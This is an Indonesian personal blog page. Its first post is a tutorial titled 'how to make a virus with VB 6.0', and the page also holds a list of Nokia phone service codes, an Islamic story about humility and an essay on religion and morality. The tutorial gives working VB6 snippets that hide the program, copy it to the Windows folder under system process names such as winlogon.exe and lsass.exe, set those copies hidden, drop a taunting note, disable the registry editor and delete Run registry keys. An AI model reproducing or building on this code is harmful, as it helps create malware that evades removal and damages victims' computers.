"Assalamu'alaikum Wr. Wb. Selamat Datang Di Blog Kami Semoga Dapat Membantu Anda"

Cara Membuat Virus Dengan VB 6.0

menyembunyikan form
Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Kopiin Diri Sendiri

mi alna mo dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows
On Error Resume Next
FileCopy App.EXEName + ".exe", "C:\WINDOWS\winlogon.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\csrss.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\services.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\smss.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\lsass.exe"

3. Bikin Direktori ato folder

misalnya bikin folder di windows direktori
On Error Resume Next
MkDir "C:\WINDOWS\virus"

4. Mengganti Atribut file

bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
sembunyi.GetFile("C:\WINDOWS\winlogon.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\csrss.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\services.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\smss.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\lsass.exe").Attributes = 2
tapi kalo folder pakenya
sembunyi.
GetFolder("C:\WINDOWS\").Attributes = 2
5. Bikin Pesan Virus

bikin pesen pake text file
On Error Resume Next
Set bikinpesen = CreateObject("Scripting.FileSystemObject")
Set isipesen = bikinpesen.Createtextfile("C:\baca saya.txt ")
isipesen.writeline ("komputer kamu kena virus bodoh ")
isipesen.Close



6.Ngubah Registry

misalna mo disable regedit
On Error Resume Next
Set ubahreg = CreateObject("WScript.Shell")
ubahreg.regwrite "HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools", 1, "REG_DWORD"

7.Nghapus Registry

misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon
On Error Resume Next
Set hapusreg = CreateObject("WScript.Shell")
hapusreg.regdelete "HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon"

Thank To Allah SWT
Read Full...

Private Number HP

CATATAN:
- Kode diinput tanpa spasi
- Ada kode-kode nokia yang berlaku pada tipe tertentu saja

1. Melihat IMEI (International Mobile Equipment Identity)
tekan: * # 0 6 #

2. Melihat versi software, tanggal pembuatan softwre dan jenis kompresi software
tekan: * # 0 0 0 0 #
atau: * # 9 9 9 9 #

3. Melihat status call waiting
tekan: * # 4 3 #

4. Melihat nomor private number yang menghubungi ponsel anda
tekan: * # 3 0 #

5. Menampilkan nomer pengalihan telepon all calls
tekan: * # 2 1 #

6. Melihat nomor penelepon pada pengalihan telepon karena tidak anda jawab (call divert on)
tekan: * # 6 1 #

7. Melihat nomor penelepon pada pengalihan telepon karena di luar jangkauan (call divert on)
tekan: * # 6 2 #

8. Melihat nomor penelepon pada pengalihan telepon karena sibuk (call divert on)
tekan: * # 6 7 #

9. Merubah logo operator pada nokia type 3310 dan 3330
tekan: * # 6 7 7 0 5 6 4 6 #

10. Menampilkan status sim clock
tekan: * # 7 4 6 0 2 5 6 2 5 #

11. Berpindah ke profil profile ponsel anda
tekan tombol power off tanpa ditahan

12. Merubah seting hp nokia ke default atau pabrikan
tekan: * # 7 7 8 0 #

13. Melakukan reset timer ponsel dan skor game ponsel nokia
tekan: * # 7 3 #

14. Melihat status call waiting
tekan: * # 4 3 #

15. Melihat kode pabrik atau factory code
tekan: * # 7 7 6 0 #

16. Menampilkan serial number atau nomer seri hp, tanggal pembuatan, tanggal pembelian, tanggal servis terakhir, transfer user data. Untuk keluar ponsel harus direset kembali.
tekan: * # 92702689 #

17. Melihat kode pengamanan ponsel anda
tekan: * # 2 6 4 0 #

18. Melihat alamat ip perangkat keras bluetooth anda
tekan: * # 2 8 2 0 #

19. Mengaktifkan EFR dengan kualitas suara terbaik namun boros energi batere. Untuk mematikan menggunakan kode yang sama.
tekan: * # 3 3 7 0 #

20. Mengaktifkan EFR dengan kualitas suara terendah namun hemat energi batere. Untuk mematikan menggunakan kode yang sama.
tekan: * # 4 7 2 0 #

21. Menuju isi phone book dengan cepat di handphone nokia
Caranya tekan nomer urut lalu # contoh : 150#

22. Mengalihkan panggilan ke nomor yang dituju untuk semua panggilan
tekan: * * 2 1 * Nomor Tujuan #

23. Mengalihkan panggilan ke nomor yang dituju untuk panggilan yang tidak terjawab
tekan: * * 6 1 * Nomor Tujuan #

24. Mengalihkan panggilan ke nomor yang dituju untuk panggilan ketika telepon hp anda sedang sibuk
tekan: * * 6 7 * Nomor Tujuan #
Thank To Allah SWT Read Full...

Melati tak ingin jadi Mawar

Negeri akhirat itu, Kami jadikan untuk orang-orang yang tidak ingin menyombongkan diri dan berbuat kerusakan di (muka) bumi. Dan kesudahan (yang baik) adalah bagi orang-orang yang bertakwa. (QS. Al Qashash 28:83)

Sesungguhnya orang-orang yang beriman dan mengerjakan amal-amal saleh dan merendahkan diri kepada Tuhannya, mereka itu penghuni-penghuni surga; mereka kekal di dalamnya. (QS. Hud 11:23)

Ayuning berdecak kagum akan kemampuan sahabatnya menggugah rasa setiap wanita yang menghadiri pengajian "Melati". Hampir saja ia tak percaya bahwa yang ada di hadapannya itu adalah "Nisa" sahabatnya. Setidaknya bukan dia saja yang berpendapat demikian, sayup-sayup suara sekeliling melontarkan hal senada. Padahal baru beberapa minggu yang lalu mereka memikirkan bagaimana cara membina akhlak bunga negeri ini, perlahan keinginan itu terwujud. Setelah pengajian usai, para akhwatpun pulang, tinggal mereka berdua yang sibuk membenahi "Taman Belajar", tempat khusus yang disediakan orangtua Nisa untuk mengaji. Perlahan Ayu mendekati Nisa.

"Kamu hebat, Nisa!, semua begitu terkesan akan nasihatmu, untaian kata-katamu bagai tetesan embun yang menyusup ke kedalaman jiwa, mereka semua kagum padamu, terlebih ketika mendengar syair lagu cinta pada Allah yang..".

"Nisa mohon, tolong hentikan pujian itu, Ayu..!".

Perkataan Nisa tak dihiraukan Ayu, ia masih saja menyanjung-nyanjung sahabatnya. Sementara Nisa komat kamit mengucap istighfar.

"Tolong hentikan pujian itu, Ayu..!". Kali ini nada suara Nisa agak keras, Ayuning heran melihat rona wajah sahabatnya itu menunjukkan ketidaksenangan, dan tatapan mata yang redup itu berubah menjadi tajam.

"Ayu mau tahu, nggak? pujian Ayu itu sama artinya Ayu memenggal leher Nisa?!".

Taakkk! Ayuning kaget mendengar perkataan itu.

"Astaghfirullaahul 'aziim.. kenapa Nisa bilang begitu???!!!".

"Pujian Ayu akan membuat Nisa sombong, Ayu.. dan balasan Allah terhadap makhluk-Nya yang sombong adalah neraka Jahannam!, apakah Ayu ingin Nisa masuk neraka Jahannam?..".

Ayu tersentak!, tiba-tiba ada energi luar biasa yang menyelimuti dirinya, ia mendengar Qalam Allah mengenai kesombongan dibacakan kepadanya, indah dan menggetarkan jiwa, (yang artinya):

Kepada Allah sajalah bersujud segala apa yang berada di langit dan semua makhluk yang melata di bumi dan (juga) para malaikat, sedang mereka tidak menyombongkan diri. (QS. An Nahl 16:49)

Janganlah kamu berjalan di muka bumi ini dengan sombong, karena sesungguhnya kamu sekali-kali tidak dapat menembus bumi dan sekali-kali kamu tidak akan sampai setinggi gunung. (QS. Al Israa' 17:37)

Janganlah kamu memalingkan mukamu dari manusia (dengan sombong) dan janganlah kamu berjalan di muka bumi dengan angkuh. Sesungguhnya Allah tidak menyukai orang-orang yang sombong lagi membanggakan diri. (QS. Luqman 31:18)

Dikatakan (kepada mereka): "Masukilah pintu-pintu neraka Jahannam itu, dan kamu kekal di dalamnya". Maka neraka Jahannam itulah seburuk-buruk tempat bagi orang-orang yang menyombongkan diri. (QS. Az Zumar 39:72)

Sesungguhnya orang-orang yang beriman dengan ayat-ayat Kami, adalah orang-orang yang apabila diperingatkan dengan ayat-ayat (Kami), mereka menyungkur sujud dan bertasbih serta memuji Tuhannya, dan mereka tidak menyombongkan diri. (QS. As Sajadah 32:15)

Tubuh Ayuning lemas seketika, wajahnya pucat, ia menyungkur sujud kepada Allah, "Laa ilaaha illaa anta Subhanaka inni kuntu minazh zhaalimiin". Berulangkali kalimat itu diucapkannya. Nisa tak tahan melihat sahabatnya seperti itu, secepat kilat ia menghampiri, "Sudah Ayu, bangunlah..!".

"Maafkan Ayu ya Nisa, Ayu khilaf..".

"Sudah Nisa maafin, sayang.. maafkan Nisa juga ya.. karena keras pada Ayu. Bukankah tujuan kita semula mengadakan pengajian ini lillaahi ta'ala?.. agar Allah sayang pada kita, agar Allah cinta (ridha) pada kita?.. betapa nelangsanya jiwa ini melihat fenomena kemaksiatan yang terjadi, melihat ketidakmengertian bunga negeri, kita harus merangkul mereka, Ayu.. semua itu tidaklah mudah, semua itu membutuhkan perjuangan!, usaha ini baru kita mulai perlahan, apakah karena pujian kita menjadi lupa akan niat kita semula? ibarat segelas air, jikalau tercampur noda sedikit, maka keruhlah semuanya. Begitu pula Allah dalam melihat Qalbu dan amalan perbuatan kita.

Sehebat-hebatnya insan, ia tetap hamba Tuhan, tak akan pernah bisa menembus bumi dan sekali-kali tak akan sampai setinggi gunung. Hamba-hamba Allah Yang Maha Penyayang itu adalah orang-orang yang berjalan di atas bumi dengan rendah hati, Ayu.. Sungguh, Allah tidak menyukai orang-orang yang sombong dan suka membangga-banggakan dirinya!.

Ayu, bagaimanakah mungkin kita bisa sombong, sedangkan hidup kita sendiri hanyalah pinjaman dari Tuhan?. Bagaimanakah mungkin kita bisa merasa lebih dari orang lain sedangkan kejadian kita dari unsur yang sama-sama hina?. Jangan pernah lupa dari apa asal kita, jangan pernah lupa bahwa kelak kita akan mati, kembali masuk tanah dan menjadi tanah, tinggal tulang-tulang berserakan dan menakutkan!.

Bukankah Allah murka terhadap Syaithan kerena merasa dirinya lebih tinggi dibandingkan dengan manusia?, Bukankah Fir'aun, Qarun dan Haman mati binasa karena kesombongannya?

Segala apa yang ada di langit dan semua makhluk melata di bumi dan juga para malaikat, mereka semua bersujud kepada Allah, dan mereka semua tidak pernah menyombongkan diri. Apalah lagi kita ini, malu sama Allah Ayu.., betapa Ia begitu dekat, betapa Dia Maha Menatap!". Nisa menghentikan kalimatnya. Ayuning yang sedari tadi diam, kemudian ikut bicara,��

"Ayu jadi teringat sabda Rasulullah Saw Nisa, bahwa angkuh dan sombong itu adalah pakaian Allah, siapa yang menyaingi pakaian-Nya. Allah Ta'ala akan menyiksanya. (HR. Muslim)

Beliau juga mengatakan: "Tidak ada yang lebih suka dipuji selain dari Allah Swt, karena itu Dia memuji diri-Nya sendiri. Dan tidak ada yang lebih pencemburu dari Allah, karena itulah Dia mengharamkan segala yang keji". (HR. Muslim)

Dan pernah suatu ketika, Rasulullah berkata pada para sahabat yang menghormati kedatangannya, "Janganlah kalian menyanjung-nyanjung diriku sebagaimana orang-orang Nasrani menyanjung-nyanjung Isa putra Maryam. Sesungguhnya aku ini hanyalah seorang hamba, maka katakanlah, "Hamba dan utusan Allah". (HR. Imam Ahmad)

Keduanya saling berpandangan dan tersenyum. Ayu melanjutkan kata-katanya,

"Yach, kita ini hanyalah seorang hamba, alangkah indahnya jika hanya menghamba pada Allah saja, Laa ilaa haillallaah (Tiada Tuhan selain Allah), segala yang ada di bumi maupun di langit ini akan rusak binasa kecuali Allah! tak pantas kita memuji makhluk-Nya dengan melupakan Siapa Yang Menciptakannya". Bahagia sekali kedua sahabat itu kini, mereka saling mengingatkan satu sama lain. Sejenak Nisa memecahkan suasana, "Bunda Ayu, jangan lupa ditunggu anak-anaknya, lho..".

Ayu tersenyum malu pada Nisa, "Ah Nisa..". Mereka berdua bersiap-siap untuk ke Panti Asuhan "Rindu Bunda".

��������������������� *****

Seperti biasa, anak-anak yatim piatu itu berlari menyambut kedatangan Ayu dan Nisa, Qitri kecil berlari ke arah Ayuning.

"Bunda Ayu..". ia menghambur kepelukan Ayu, sementara yang lain berebutan mencium tangan Ayu dan Nisa seraya tersenyum senang karena mendapat hadiah kecil. Qitri berusaha keras mendapat perhatian lebih dari Ayuning, maklum gadis mungil itu paling muda di antara anak-anak panti lainnya.

"Bunda.., Qitri kangen ceritanya.., kalau Bunda cerita, baguuus sekali, Qitri seneng deh..". Anak-anak lain tak kalah berkata, "Ia Bunda Ayu.., kami kangen ceritanya.. kalau Bunda Ayu cerita, kami senaaaaaaang deh".

Ayu tersenyum melihat tingkah anak-anak manis itu, namun dalam hati ia ber-istighfar, kemudian berkata, "aduuh, aduuh.. pada muji Bunda yaa, kalau kalian memuji seperti itu, sama artinya kalian sedang melihat Bunda ada di puncak gunung yang tinggiii sekali, lalu ada angin yang kencaaang menerpa Bunda, akhirnya Bunda kenapa, anak-anak?!" seketika Ali naik ke atas pohon, seolah-olah naik ke puncak gunung yang tinggi memperagakan apa yang Ayu bilang,

"Seperti ini ya.. Bunda..". katanya pada Ayu, semua heboh melihatnya. "Aduuh.. Ali turun dong sayang.. nanti jatuh". Qitri dan anak-anak panti lainnya juga ikut berteriak, "Turun dong, Ali.. nanti jatoh lho..!!!". Ali berusaha turun, ketika kaki kanannya sudah menyentuh tanah, tiba-tiba tubuhnya oleng ke kiri, Gedebukk!. Anak-anak bergegas mengerubunginya, "Kamu nggak kenapa-napa, Ali.. ". Tanya Nisa, sedangkan Ayu bergegas ke dalam rumah untuk mencari obat. Ibu panti tidak enak melihat tingkah anak-anak asuhannya, "Dimaklumi saja ya, nak Ayu.. kalau ketemu Bundanya pasti begitu". Ayu tersipu malu pada Ibu panti. Setelah mengobati Ali, Ayu berkata pada mereka,

"Nach.. anak-anak, jadi jangan pernah memuji Bunda, ya.. nanti Bunda jatuh kayak Ali, sakit kan, Li..". Ali meringis seraya menganggukkan kepalanya. Sementara si mungil Qitri berkata pada Ayu, "Tapi bunda.. cerita Bunda bener-bener bagus.., sumpah dech..". Yang lain berkomentar sama.

"Baiklah kalau begitu, Bunda pingin tanya sekarang, yang menciptakan Bunda siapa, anak-anak?..". mereka menjawab, "Allah Swt". Jadi yang pantas dipuji adalah Allah, karena Allah yang menciptakan Bunda, jadi kalau kalian kagum pada seseorang yang mempunyai suatu kelebihan, kalian harus memuji Allah, dengan mengatakan: Subhanallaah (Maha Suci Allah), Walhamdulillaah (Segala Puji Hanya untuk Allah), Walaa illaa ha ilallah (Tidak ada Tuhan selain Allah), Wallaahu akbar (Allah Maha Besar)".

Anak-anak menirukan satu-satu kalimat tasbih, tahmid, tahlil, takbir yang Ayu ajarkan, setelah itu barulah ia bercerita. Melihat tingkah sahabatnya, Nisa sangat terkesan. Tak terasa cerita Ayupun usai, tiba-tiba mereka berdua saling berpandangan. Dengan sinar mata kebahagiaan Ayu berkata,

"Alhamdulillah, Nisa.. Ayu telah mengajar mereka untuk memuji Allah. Semoga mereka tumbuh menjadi pribadi-pribadi yang mencintai Allah dengan mengikuti akhlak Rasul-Nya, hamba Allah yang senantiasa merendahkan diri di hadapan Rabb-Nya dan setiap makhluk ciptaan-Nya.

Nisa tersenyum mendengar penuturan sahabat yang sangat disayanginya, "Iya Ayu, Ibarat bunga. Melati Tak Ingin Menjadi Mawar". Cukup Allah saja yang menilai setiap hamba-hamba-Nya. Mereka memandang anak-anak panti yang sedang asyik bermain di halaman, dalam hati keduanya berdoa, "Aku berlindung kepadamu Ya Allah, dari sifat-sifat yang tidak Engkau sukai dan dari setiap manusia yang menyombongkan diri, yang tidak beriman kepada hari berhisab".

(*)Seorang laki-laki memuji orang lain dekat Nabi Saw, lalu Nabi saw berkata: "Celaka kamu!, berarti kamu memenggal leher saudaramu-kata-kata itu Beliau ucapkan berulangkali. Apabila seseorang kamu memuji saudaranya, seharusnya dia berkata: "Cukuplah bagi si Fulan Allah saja yang menilainya. Tidak ada yang lebih pantas menilainya selain Allah Ta'ala sekalipun temannya tahu dia begini dan begitu. (HR. Muslim)

Read Full...

Islami : Membangun moral di abad global

"if religion without morality lacks a solid earth to walk on, morality without religion lacks a wide heaven to breath in".(Jika agama tanpa moralitas, kekurangan tanah untuk berjalan diatasnya, jika moralitas tanpa agama, kekurangan surga langit untuk bernafas).

Kata-kata Prof. John Oman yang di kutip oleh Dr. Faisal Ismail diatas mengajak kepada kita untuk menilik kembali terhadap pandangan kita yang selama ini kita pegang khususnya dalam hal memperbincangkan dalam kemajuan suatu bangsa.Kemajuan suatu bangsa tak hanya di ukur melalui patokan kemajuan teknologinya dan GNP nya semata tetapi juga harus dilihat kelakuan masyarakatnya seperti yang tertulis dalam syairnya Ahmad Syangu, "sesungguhnya ini suatu bangsa terletak pada akhlaknya, jika akhlak mereka bejat hancurlah bangsa itu".

Kemajuan terknologi di segala bidang memang telah mempermudah kerja manusia tetapi jika tak ada control, kemajuan teknologi malah menyeret masyarakatnya kedalam berbagai jebakan krisis seperti krisis kejiwaan, krisis ekologi, krisis kejujuran dan masih banyak lagi. Dampaknya kini mulai muncul seperti kasus bunuh diri, membunuh bayi-bayi maupun gejala-gejala depresi berat yang menyelimuti masyarakat diabad global adalah tanda dari kehampaan jiwa masyaraka modern.

Di lain pihak, bahaya kerusakan alam semakin mengkuatirkan. Tanah longsor, banjir bandang, angin ribut, gempa bumi yang akhir-akhir ini marak terjadi di tanah air menambah "kengeluan" bangsa ini. Glogbal worming merupakan ancaman serius bagi segenap makhluk di muka bumi. Dalam kurun waktu seratus tahun terakhir suhu bumi akan meningkat 0.7 derajat celcius. Para ahli memprediksikan, jika tak ada upaya untuk mengurangi emisi gas rumah kaca, pada tahun 2100 suhu bumi akan meningkat hingga 0,8 derajat celcius. Padahal jika kenaikan suhu melebihi dua derajat celcius maka akan terjadi kepunahan banyak spesies dan ekosistem. Salah satu penyebab terjadi perubahan iklim global di Indonesia adalah kebakaran hutan dan lahan serta semakin rusaknya hutan akibat pembalakan liar.(Tempo, 30 april 2006)

Semua fenomena diatas semakin meyakinkan akan kebenaran firman Tuhan bahwa"Telah tampak kerusakan di dadarat dan di laut disebabkan oleh ulah tangan manusia"(Q.S ArRum:41).Kalu kita cermati seksama dari pengalaman hidup maupun kita kaji dari Al Qur'an bahwa kerusakan alam merupakan akibat kerakusan manusia yang tak arif dalam mengeksploitasi kekayan alam.Kerakusan adalah urusan moral yang tersimpan dalam sanubari masing-masing orang. Moral yang menjabat "chek and balance" telah mengalami kemerosotan yang menyebabkan penodaan terhadap harkat kemanusiaan (human dignity) sehingga pemiliknya terperosok sebagai budak penyembah nafsu.Walau kita tahu bahwa abad ini adalah abadnya orang-orang pintar tetapi kehidupanya jauh dari tanda-tanda orang berilmu. Mengapa demikian? Allah menjawabnya ,"Pernahkah engkau melihat orang yang menjadikan hawa nafsunya sebagai tuhanya. Allah memberi sesat dengan ilmumya dan Allah telah mengunci pendengaran dan hatinya dan meletakkan tutup atas kepalanya itu. (Q.S AL Jatsiyah:23)

Sebab utama merosotnya moral adalah hilangnya keyakinan (iman) terhadap Tuhan, hari akhir dan balasan surga-neraka. Agama yang telah di berikan Tuhan sebagai pembimbing di tinggalkan begitu saja, sehingga norma-norma yang mengatur perilaku manusia dilupakan. Dosa telah dianggap ringan dan hal yang biasa, Tuhan hanyalah cerita tahayul dan dianggap sebagai sosok yang di gunakan untuk menakut-nakuti anak kecil belaka. Hingga timbullah pandangan bahwa takkan ada lagi kehidupan sesudah mati, tak ada lagi balasan surga neraka, seperti yang dikatakan Klein, "dengan membebaskan diri dari rasa takut terhadap ancaman neraka, maka lepas pula harapan akan kenikmatan surga, orang hidup,mati, dan selesailah sudah".Pernyatan itu di tepis Allah, "Dan mereka berkata "tak ada kehidupan lain, melainkan kehidupan di muka bumi ini. Kita mati dan hidup tidak ada yang memusnahkan melainkan waktu. Sesungguhnya mereka tidak tahu tentang hal itu, mereka hanya menduga-duga saja".

Lalu bagaimana kita menyelamatkan moral kita yang selama ini tercecer di lembah hiruk pikuknya nafsu sekaligus mengembalikan "tuhan" kita Yang telah kita "hilangkan" tersebut ? jawabannya adalah seperti yang telah di katakana Prof.Jaques Barzun, "restore god to the fullness of his reality" (kembalikan Tuahan kepada kedudukanNya yang sesungguahnya).Dengan mengacu pada ucapan jaques berarti kita harus menghadirkan Tuhan dalam segala hal dalam menampaki proses kehidupan kita, menghadirkan hakikat tuhan bahwa Dialah sbagai inspirasi atau patokan moral hidup.

Kalau memang "tuhan" harus hadir dalam segala dimensi kehidupan ini maka salah satu jalan yang harus di tempuh adalah membentangkan agama sebagai jalan bagi kita untuk lebih dekat atau lebih mengena rasa ketuhanan kita,.Mengapa harus agama yang kita pilih sebagi salah satu cara bagi kita untuk menghadirkan tuhan atau sumber moral kita ?.

Memperbincangkan masalah sumber moral yang sesuai dengan perilaku manusia sekaligus tak pernah kering adalah agama sebagai jawabannya, karena agama merupakan jalan penyampaian moral tuan yang di turankan kepada makhluknya.Moral yang bersumber dari agama akan menjadi kuat dan tahan terhadap berbagai benturan zaman sehingga agama akan tetap memposisikan "manusia sebagai manusia".

Adalah pasti bahwa agama islam merupakan sumber nilai-nilai moral islam. Nilai moral dalam islam sangat di junjung tinggi dan ditempatkan pada kursi agung.Karena moral merupakan elemen penting dalam membentuk peradaban. Nabi Muhammad di utus kedunia tak sebatas menyampaikan risalah ketauhidan semata melainkan menyampaikan pesan-pesan moral yang hasanah.("tiadalah Kami mengutus kamu(Muhammad)melainkan bagi rahmat semesta alam. Aku di utus untuk menyempurnakan akhlak manusia.)

Jelaslah bahwasannya misi Muhammad tidak sekedar mengajarkan ritual-ritual ibadah, do'a atau menyuruh jihad, melainkan sebuah misi yang sangat mulia yakni menghijrahkan manusia dari kesesatan menuju kebenararan ,dari sifat barbarisme menuju sikap tawadhu', dari sikap rakus menuju sikap qona'ah dan ikhlas. Menjadikan manusia kembali kefitrohnya yang di ridoi Tuhan.

Moral islam menekankan aspek penyucian hati karena pada hakekatnya hati merupakan pusat inspirasi dan motivasi akal untuk melaksanakan atau tidak melaksanakan terhadap sesuatu hal yang akhirnya melahirkan suatu pandangan (persepsi). Manusia yang pandangan hidupnya tidak jelas atau mengambang maka cenderung perilakunya pun nampak amburadul dan bingung. Keyakinan yang tidak mantap akan melahirkan sosok-sosok manusia kelas rendah, munafik, pragmatis, hedonis dan sekule. (Dr. Muhammad Tholib, Melacak kekafiran berfikir).

Hal ini pernah terjadi pada bangsa arab saat islam belum datang .Arab jahiliyah kebanyakan kaum pengembara badui yang hidupnya nomaden, memiliki jiwa yang kasar, kering dari "air ketauhidan", suka merampok, tak tahu halal haram, hanya berorientasi pada kesenangan yang sekejap sehingga alqu'an mengatakan orang-orang ini munafik dan tak bertuhan.

Tetapi setelah islam datang keadaan berubah, mereka menjadi santun, terbimbing kejalan yang benar dan ditinggikan kedudukannya yang semula bersifat hewaniyah kepada kedudukan yang mulia.

Itulah islam yang lebih mengedepankan pembentukan moral di banding dengan hal lain. Karena kita tahu bahwa moral merupakan penentu"warna" peradaban manusia. Jika bangsa yang besar, maju dalam bidang keduniaan saja tetapi moral bangsanya amburadul maka sudah dapat di pastikan bangsa itu akan segera runtuh.

Islam di datangkan untuk memperbaiki peradaban manusia oleh karena itu islam adalah agama peradaban dan tak menentang peradaban suatu bangsa manapun selama peradaban itu memberi manfaat kepada manusia dan mengangkat harkat, martabat manusia. Namun jika peradaban itu ternyata tak sesuai dengan fitroh manusia dan mendehumanisasi, maka islam akan melawan, karena islam adalah agama “perlawanan”. Wa Allahua'lam.

Read Full...
My Office Read Full...
 

YM


Pengikut

© _____T I K U S___J A L A N A N____